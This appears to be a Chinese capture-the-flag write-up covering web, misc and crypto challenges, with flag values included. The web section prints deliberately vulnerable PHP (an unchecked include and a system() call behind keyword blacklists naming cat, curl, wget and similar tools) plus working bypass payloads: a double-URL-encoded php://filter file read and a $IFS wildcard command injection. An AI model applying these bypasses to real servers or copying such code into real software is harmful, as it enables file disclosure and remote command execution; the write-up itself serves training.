Web
easy_php
//t
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(preg_match('/base/i',$file)) {
die("你不可以喜欢base64,但你可以喜欢c10uds!");
}
if(preg_match('/rot/i',$file)) {
die("你不可以喜欢凯撒,但你可以喜欢c10uds!");
}
if(preg_match('/data/i',$file)) {
die("你不可以喜欢data,但你可以喜欢c10uds!");
}
if(preg_match('/session/i',$file)) {
die("你不可以喜欢session,但你可以喜欢c10uds!");
}
if(preg_match('/iconv/i',$file)) {
die("你不可以喜欢字符编码,但你可以喜欢c10uds!");
}
if(preg_match('/zlib|phar|zip/i',$file)) {
die("你不可以喜欢字符压缩,但你可以喜欢c10uds!");
}
if(preg_match('/crypt/i',$file)) {
die("你不可以喜欢加解密,但你可以喜欢c10uds!");
}
if(preg_match('/log/i',$file)) {
die("你不可以喜欢日志,但你可以喜欢c10uds!");
}
@include($file);
?>
这题考察了php伪协议中filter的一个特性,即当使用filter时,他会自动进行一次urldecode的操作,再加上浏览器本身会进行一次urldecode的操作,所以我们可以通过base64数据流并将b进行两次urlencode,这样就可以成功绕过他对base字符的过滤,同时还能成功读取数据,读取的数据进行base64解码就是flag
具体payload:http://110.40.35.119:13001/?file=php://filter/read=convert.%2562ase64-encode/resource=/flag.php
当时我一开始用的payload是?file=php://filter/read=convert.%2562ase64-encode|convert.%2562ase64-encode/resource=/flag.php,后来发现我这是多此一举了,因为我一开始认为filter的内置操作时进行一次base64decode,原来只是进行urldecode
easy_rce
//题目源码
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-8]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*p.*a.*s.*t.*e.*|.*u.*n.*i.*q.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|.*g.*r.*e.*p.*|.*r.*e.*v.*|.*v.*i.*|.*b.*a.*s.*e.*|\'|\"|\`|\%|\:|\{|\}|\||\^|\&|\.|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这题的过滤方式之前没见过,就是当payload中按顺序出现了上面的字母时,比如如果出现了?c=$a=ca&&$b=t,这样就是无法绕过的,其实这种过滤方式就是为了防止出现字符拼接的绕过方式,因为这样在整个payload中还是按顺序出现了cat,当然这题还过滤了0-8的数字,但是没有过滤9这个数字,我是怀疑出题人想让我去用**$IFS$9来做空格绕过的,但是事后发现好像$IFS**也是可以的(但我在kali上尝试打开一个flag.txt的文件时,前者就可以做到但是后者就会报错,我不理解)
这题的具体做法就是要调用bin目录下的cat模块,然后再用?的模糊匹配来匹配到flag.txt
具体payload:?c=/bin/?at$IFS/f???????(哦对了,千万不要忘记加根目录……血的教训)
Misc
重生之我是皇帝
方法一:
这题按正常逻辑来做就是个脑洞题,打开这个exe文件
魏国末代皇帝在装逼,说要干司马昭,然后你感到金光大盛,说明你要龙袍加身了,根据历史事实,司马昭要夺权了,然后输入司马昭就得到了flag
方法二:
exe反编译为pyc再反编译为py得到flag
pyinstxtractor.py工具下载(exe反编译pyc)https://sourceforge.net/projects/pyinstallerextractor/
python pyinstxtractor.py app.exe
然后用在线网站将pyc反编译得到py即可
钓鱼佬
用FTK打开这个email.raw,里面有很多版本的gofish,逐个点开,发现v1.10.0里面的文件尤其多
把这些文件全部导出
用Navicat打开gofish.db
在templates表里面找到字段text,其值看起来是一封邮件
这时,有经验的小伙伴已经知道了这是一个垃圾邮件隐写。如果实在不知道,可以在webhooks表的url字段里找到垃圾邮件隐写的网址。
Decode一下即可得到flag
flag{Y0u_9et_@_seCreT_mEssaGe!}
Crypto
EzSignin
这道题直接拿gpt跑一下就出来了,考的是维吉尼亚密码……